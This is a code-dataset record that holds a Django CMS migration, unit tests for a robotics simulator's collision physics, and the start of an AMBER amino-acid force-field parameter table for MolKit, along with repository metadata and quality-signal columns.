hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
512a95f131970b82ef2f5920f270971d63c91d1b
2,093
py
Python
great_international/migrations/0055_auto_20190724_1306.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
6
2018-03-20T11:19:07.000Z
2021-10-05T07:53:11.000Z
great_international/migrations/0055_auto_20190724_1306.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
802
2018-02-05T14:16:13.000Z
2022-02-10T10:59:21.000Z
great_international/migrations/0055_auto_20190724_1306.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
6
2019-01-22T13:19:37.000Z
2019-07-01T10:35:26.000Z
# Generated by Django 2.2.2 on 2019-07-24 13:06 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('great_international', '0054_auto_20190724_1205'), ] operations = [ migrations.AddField( model_name='capitalinvestregionpage', name='subsections_title', field=models.CharField(blank=True, max_length=255), ), migrations.AddField( model_name='capitalinvestregionpage', name='subsections_title_ar', field=models.CharField(blank=True, max_length=255, null=True), ), migrations.AddField( model_name='capitalinvestregionpage', name='subsections_title_de', field=models.CharField(blank=True, max_length=255, null=True), ), migrations.AddField( model_name='capitalinvestregionpage', name='subsections_title_en_gb', field=models.CharField(blank=True, max_length=255, null=True), ), migrations.AddField( model_name='capitalinvestregionpage', name='subsections_title_es', field=models.CharField(blank=True, max_length=255, null=True), ), migrations.AddField( model_name='capitalinvestregionpage', name='subsections_title_fr', field=models.CharField(blank=True, max_length=255, null=True), ), migrations.AddField( model_name='capitalinvestregionpage', name='subsections_title_ja', field=models.CharField(blank=True, max_length=255, null=True), ), migrations.AddField( model_name='capitalinvestregionpage', name='subsections_title_pt', field=models.CharField(blank=True, max_length=255, null=True), ), migrations.AddField( model_name='capitalinvestregionpage', name='subsections_title_zh_hans', field=models.CharField(blank=True, max_length=255, null=True), ), ]
35.474576
74
0.614907
200
2,093
6.23
0.245
0.130016
0.166132
0.195024
0.85313
0.85313
0.85313
0.85313
0.707865
0.707865
0
0.038436
0.279025
2,093
58
75
36.086207
0.787276
0.0215
0
0.673077
1
0
0.212121
0.135875
0
0
0
0
0
1
0
false
0
0.019231
0
0.076923
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
5aa8af2f830f93e66b8fa540da146488cd1f364b
3,469
py
Python
simulator/tests/test_collision.py
truher/FRC2022
fb8a39d0212e8460669feb282f8b9977f17fdd93
[ "MIT" ]
null
null
null
simulator/tests/test_collision.py
truher/FRC2022
fb8a39d0212e8460669feb282f8b9977f17fdd93
[ "MIT" ]
null
null
null
simulator/tests/test_collision.py
truher/FRC2022
fb8a39d0212e8460669feb282f8b9977f17fdd93
[ "MIT" ]
null
null
null
import unittest import numpy as np from frc.collision import ( collide, collide_cylindrical, collide_pos_cylindrical, collide_pos) # pylint: disable=import-error class TestCollision(unittest.TestCase): def test_collide_1d(self) -> None: # pylint: disable=no-self-use p1 = (0,0,0) v1 = (1,0,0) m1 = 1 e1 = 1 r1 = 1 p2 = (1,0,0) v2 = (-1,0,0) m2 = 1 e2 = 1 r2 = 1 newv1, newv2 = collide(p1, v1, m1, e1, p2, v2, m2, e2) np.testing.assert_almost_equal((-1,0,0), newv1) np.testing.assert_almost_equal((1,0,0), newv2) newp1, newp2 = collide_pos(p1, m1, r1, p2, m2, r2) np.testing.assert_almost_equal((-0.5,0,0), newp1) np.testing.assert_almost_equal((1.5,0,0), newp2) def test_collide_2d(self) -> None: # pylint: disable=no-self-use p1 = (0,0,0) v1 = (1,0,0) m1 = 1 e1 = 1 r1 = 1 p2 = (1,1,0) v2 = (-1,0,0) m2 = 1 e2 = 1 r2 = 1 newv1, newv2 = collide(p1, v1, m1, e1, p2, v2, m2, e2) np.testing.assert_almost_equal((0,-1,0), newv1) np.testing.assert_almost_equal((0,1,0), newv2) newp1, newp2 = collide_pos(p1, m1, r1, p2, m2, r2) np.testing.assert_almost_equal((-np.sqrt(0.5)+0.5,-np.sqrt(0.5)+0.5,0), newp1) np.testing.assert_almost_equal((np.sqrt(0.5)+0.5,np.sqrt(0.5)+0.5,0), newp2) def test_collide_spherical(self) -> None: # pylint: disable=no-self-use p1 = (0,0,0) v1 = (1,0,0) m1 = 1 e1 = 1 r1 = 1 p2 = (1,0,1) v2 = (-1,0,0) m2 = 1 e2 = 1 r2 = 1 newv1, newv2 = collide(p1, v1, m1, e1, p2, v2, m2, e2) np.testing.assert_almost_equal((0,0,-1), newv1) np.testing.assert_almost_equal((0,0,1), newv2) newp1, newp2 = collide_pos(p1, m1, r1, p2, m2, r2) np.testing.assert_almost_equal((-np.sqrt(0.5)+0.5,0,-np.sqrt(0.5)+0.5), newp1) np.testing.assert_almost_equal((np.sqrt(0.5)+0.5,0,np.sqrt(0.5)+0.5), newp2) # ignores z, should be like 1d def test_collide_cylindrical_x(self) -> None: # pylint: disable=no-self-use p1 = (0,0,0) v1 = (1,0,0) m1 = 1 e1 = 1 r1 = 1 p2 = (1,0,1) v2 = (-1,0,0) m2 = 1 e2 = 1 r2 = 1 newv1, newv2 = collide_cylindrical(p1, v1, m1, e1, p2, v2, m2, e2) np.testing.assert_almost_equal((-1,0,0), newv1) np.testing.assert_almost_equal((1,0,0), newv2) newp1, newp2 = collide_pos_cylindrical(p1, m1, r1, p2, m2, r2) np.testing.assert_almost_equal((-0.5,0,0), newp1) np.testing.assert_almost_equal((1.5,0,1), newp2) def test_collide_cylindrical_xy(self) -> None: # pylint: disable=no-self-use p1 = (0,0,0) v1 = (1,0,0) m1 = 1 e1 = 1 r1 = 1 p2 = (1,1,1) v2 = (-1,0,0) m2 = 1 e2 = 1 r2 = 1 newv1, newv2 = collide_cylindrical(p1, v1, m1, e1, p2, v2, m2, e2) np.testing.assert_almost_equal((0,-1,0), newv1) np.testing.assert_almost_equal((0,1,0), newv2) newp1, newp2 = collide_pos_cylindrical(p1, m1, r1, p2, m2, r2) np.testing.assert_almost_equal((-np.sqrt(0.5)+0.5,-np.sqrt(0.5)+0.5,0), newp1) np.testing.assert_almost_equal((np.sqrt(0.5)+0.5,np.sqrt(0.5)+0.5,1), newp2)
34.346535
86
0.536466
582
3,469
3.085911
0.094502
0.033408
0.167038
0.233853
0.841871
0.820156
0.820156
0.817372
0.800111
0.800111
0
0.145208
0.299222
3,469
100
87
34.69
0.593583
0.056789
0
0.741935
0
0
0
0
0
0
0
0
0.215054
1
0.053763
false
0
0.032258
0
0.096774
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
851757c28a395ecfe0ea4fa6ff9de8fb23a63339
69,256
py
Python
resources/mgltools_x86_64Linux2_1.5.6/MGLToolsPckgs/MolKit/data/all_aminoct94_dat.py
J-E-J-S/aaRS-Pipeline
43f59f28ab06e4b16328c3bc405cdddc6e69ac44
[ "MIT" ]
9
2021-03-06T04:24:28.000Z
2022-01-03T09:53:07.000Z
MolKit/data/all_aminoct94_dat.py
e-mayo/autodocktools-prepare-py3k
2dd2316837bcb7c19384294443b2855e5ccd3e01
[ "BSD-3-Clause" ]
3
2021-03-07T05:37:16.000Z
2021-09-19T15:06:54.000Z
MolKit/data/all_aminoct94_dat.py
e-mayo/autodocktools-prepare-py3k
2dd2316837bcb7c19384294443b2855e5ccd3e01
[ "BSD-3-Clause" ]
4
2019-08-28T23:11:39.000Z
2021-11-27T08:43:36.000Z
all_aminoct94_dat = { "TYR": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.049, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.049, 'type': 'HC'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['CG', 'CE2', 'CD2', 'HD2'], ['CD2', 'CZ', 'CE2', 'HE2'], ['CD1', 'CZ', 'CE1', 'HE1'], ['CG', 'CE1', 'CD1', 'HD1'], ['CD1', 'CD2', 'CG', 'CB'], ['CE1', 'CE2', 'CZ', 'OH']], "INTX,KFORM":['INT', '1'], "HD2":{'torsion': 180.0, 'tree': 'E', 'NC': 16, 'NB': 19, 'NA': 21, 'I': 22, 'angle': 120.0, 'blen': 1.09, 'charge': 0.178, 'type': 'HA'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "OH":{'torsion': 180.0, 'tree': 'S', 'NC': 12, 'NB': 14, 'NA': 16, 'I': 17, 'angle': 120.0, 'blen': 1.36, 'charge': -0.5643, 'type': 'OH'}, "HD1":{'torsion': 0.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 13, 'angle': 120.0, 'blen': 1.09, 'charge': 0.178, 'type': 'HA'}, "HE1":{'torsion': 180.0, 'tree': 'E', 'NC': 11, 'NB': 12, 'NA': 14, 'I': 15, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1673, 'type': 'HA'}, "HE2":{'torsion': 180.0, 'tree': 'E', 'NC': 14, 'NB': 16, 'NA': 19, 'I': 20, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1673, 'type': 'HA'}, "CD2":{'torsion': 0.0, 'tree': 'S', 'NC': 14, 'NB': 16, 'NA': 19, 'I': 21, 'angle': 120.0, 'blen': 1.4, 'charge': -0.1922, 'type': 'CA'}, "NAMRES":'TYROSINE COO- ANION', "CD1":{'torsion': 180.0, 'tree': 'B', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 120.0, 'blen': 1.4, 'charge': -0.1922, 'type': 'CA'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'CD1', 'HD1', 'CE1', 'HE1', 'CZ', 'OH', 'HH', 'CE2', 'HE2', 'CD2', 'HD2', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "CE1":{'torsion': 180.0, 'tree': 'B', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 14, 'angle': 120.0, 'blen': 1.4, 'charge': -0.2458, 'type': 'CA'}, "CE2":{'torsion': 0.0, 'tree': 'B', 'NC': 12, 'NB': 14, 'NA': 16, 'I': 19, 'angle': 120.0, 'blen': 1.4, 'charge': -0.2458, 'type': 'CA'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1092, 'type': 'H1'}, "HH":{'torsion': 0.0, 'tree': 'E', 'NC': 14, 'NB': 16, 'NA': 17, 'I': 18, 'angle': 113.0, 'blen': 0.96, 'charge': 0.4017, 'type': 'HO'}, "CZ":{'torsion': 0.0, 'tree': 'B', 'NC': 11, 'NB': 12, 'NA': 14, 'I': 16, 'angle': 120.0, 'blen': 1.4, 'charge': 0.3395, 'type': 'C'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 23, 'I': 24, 'angle': 120.5, 'blen': 1.229, 'charge': -0.807, 'type': 'O2'}, "CG":{'torsion': 180.0, 'tree': 'S', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 109.47, 'blen': 1.51, 'charge': 0.0243, 'type': 'CA'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.2015, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.0752, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 23, 'I': 25, 'angle': 120.5, 'blen': 1.229, 'charge': -0.807, 'type': 'O2'}, "loopList":[['CG', 'CD2']], "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 23, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7817, 'type': 'C'}, }, "ASN": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1023, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1023, 'type': 'HC'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'OD1', 'ND2', 'HD21', 'HD22', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "ND2":{'torsion': 180.0, 'tree': 'B', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 13, 'angle': 116.6, 'blen': 1.335, 'charge': -0.9084, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 16, 'I': 17, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8147, 'type': 'O2'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.2299, 'type': 'CT'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['CB', 'ND2', 'CG', 'OD1'], ['CG', 'HD21', 'ND2', 'HD22']], "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1358, 'type': 'H1'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "INTX,KFORM":['INT', '1'], "CG":{'torsion': 180.0, 'tree': 'B', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7153, 'type': 'C'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.208, 'type': 'CT'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "HD21":{'torsion': 180.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 13, 'I': 14, 'angle': 119.8, 'blen': 1.01, 'charge': 0.415, 'type': 'H'}, "OD1":{'torsion': 0.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 120.5, 'blen': 1.229, 'charge': -0.601, 'type': 'O'}, "HD22":{'torsion': 0.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 13, 'I': 15, 'angle': 119.8, 'blen': 1.01, 'charge': 0.415, 'type': 'H'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 16, 'angle': 111.1, 'blen': 1.522, 'charge': 0.805, 'type': 'C'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 16, 'I': 18, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8147, 'type': 'O2'}, "NAMRES":'ASPARAGINE COO- ANION', }, "CYS": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1437, 'type': 'H1'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1437, 'type': 'H1'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'SG', 'HSG', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "SG":{'torsion': 180.0, 'tree': 'S', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 116.0, 'blen': 1.81, 'charge': -0.3102, 'type': 'SH'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 13, 'I': 14, 'angle': 120.5, 'blen': 1.229, 'charge': -0.7981, 'type': 'O2'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.1996, 'type': 'CT'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1396, 'type': 'H1'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "INTX,KFORM":['INT', '1'], "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.1635, 'type': 'CT'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "HSG":{'torsion': 180.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 96.0, 'blen': 1.33, 'charge': 0.2068, 'type': 'HS'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 13, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7497, 'type': 'C'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 13, 'I': 15, 'angle': 120.5, 'blen': 1.229, 'charge': -0.7981, 'type': 'O2'}, "NAMRES":'CYSTEINE COO- ANION', }, "ARG": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0371, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0371, 'type': 'HC'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['NE', 'NH1', 'CZ', 'NH2'], ['CD', 'CZ', 'NE', 'HE'], ['CZ', 'HH11', 'NH1', 'HH12'], ['CZ', 'HH21', 'NH2', 'HH22']], "HH11":{'torsion': 0.0, 'tree': 'E', 'NC': 17, 'NB': 19, 'NA': 20, 'I': 21, 'angle': 119.8, 'blen': 1.01, 'charge': 0.4493, 'type': 'H'}, "HH12":{'torsion': 180.0, 'tree': 'E', 'NC': 17, 'NB': 19, 'NA': 20, 'I': 22, 'angle': 119.8, 'blen': 1.01, 'charge': 0.4493, 'type': 'H'}, "HH21":{'torsion': 0.0, 'tree': 'E', 'NC': 17, 'NB': 19, 'NA': 23, 'I': 24, 'angle': 119.8, 'blen': 1.01, 'charge': 0.4493, 'type': 'H'}, "HH22":{'torsion': 180.0, 'tree': 'E', 'NC': 17, 'NB': 19, 'NA': 23, 'I': 25, 'angle': 119.8, 'blen': 1.01, 'charge': 0.4493, 'type': 'H'}, "INTX,KFORM":['INT', '1'], "NE":{'torsion': 180.0, 'tree': 'B', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 17, 'angle': 111.0, 'blen': 1.48, 'charge': -0.5564, 'type': 'N2'}, "HG2":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0185, 'type': 'HC'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3481, 'type': 'N'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "HD2":{'torsion': 300.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 15, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0468, 'type': 'H1'}, "HD3":{'torsion': 60.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 16, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0468, 'type': 'H1'}, "NAMRES":'ARGININE COO- ANION', "HE":{'torsion': 0.0, 'tree': 'E', 'NC': 11, 'NB': 14, 'NA': 17, 'I': 18, 'angle': 118.5, 'blen': 1.01, 'charge': 0.3479, 'type': 'H'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'HG2', 'HG3', 'CD', 'HD2', 'HD3', 'NE', 'HE', 'CZ', 'NH1', 'HH11', 'HH12', 'NH2', 'HH21', 'HH22', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "NH2":{'torsion': 180.0, 'tree': 'B', 'NC': 14, 'NB': 17, 'NA': 19, 'I': 23, 'angle': 118.0, 'blen': 1.33, 'charge': -0.8737, 'type': 'N2'}, "HG3":{'torsion': 60.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 13, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0185, 'type': 'HC'}, "NH1":{'torsion': 0.0, 'tree': 'B', 'NC': 14, 'NB': 17, 'NA': 19, 'I': 20, 'angle': 122.0, 'blen': 1.33, 'charge': -0.8737, 'type': 'N2'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1447, 'type': 'H1'}, "CZ":{'torsion': 180.0, 'tree': 'B', 'NC': 11, 'NB': 14, 'NA': 17, 'I': 19, 'angle': 123.0, 'blen': 1.33, 'charge': 0.8368, 'type': 'CA'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2764, 'type': 'H'}, "CD":{'torsion': 180.0, 'tree': '3', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 14, 'angle': 109.47, 'blen': 1.525, 'charge': 0.1114, 'type': 'CT'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 26, 'I': 27, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8266, 'type': 'O2'}, "CG":{'torsion': 180.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 109.47, 'blen': 1.525, 'charge': 0.0744, 'type': 'CT'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.3068, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 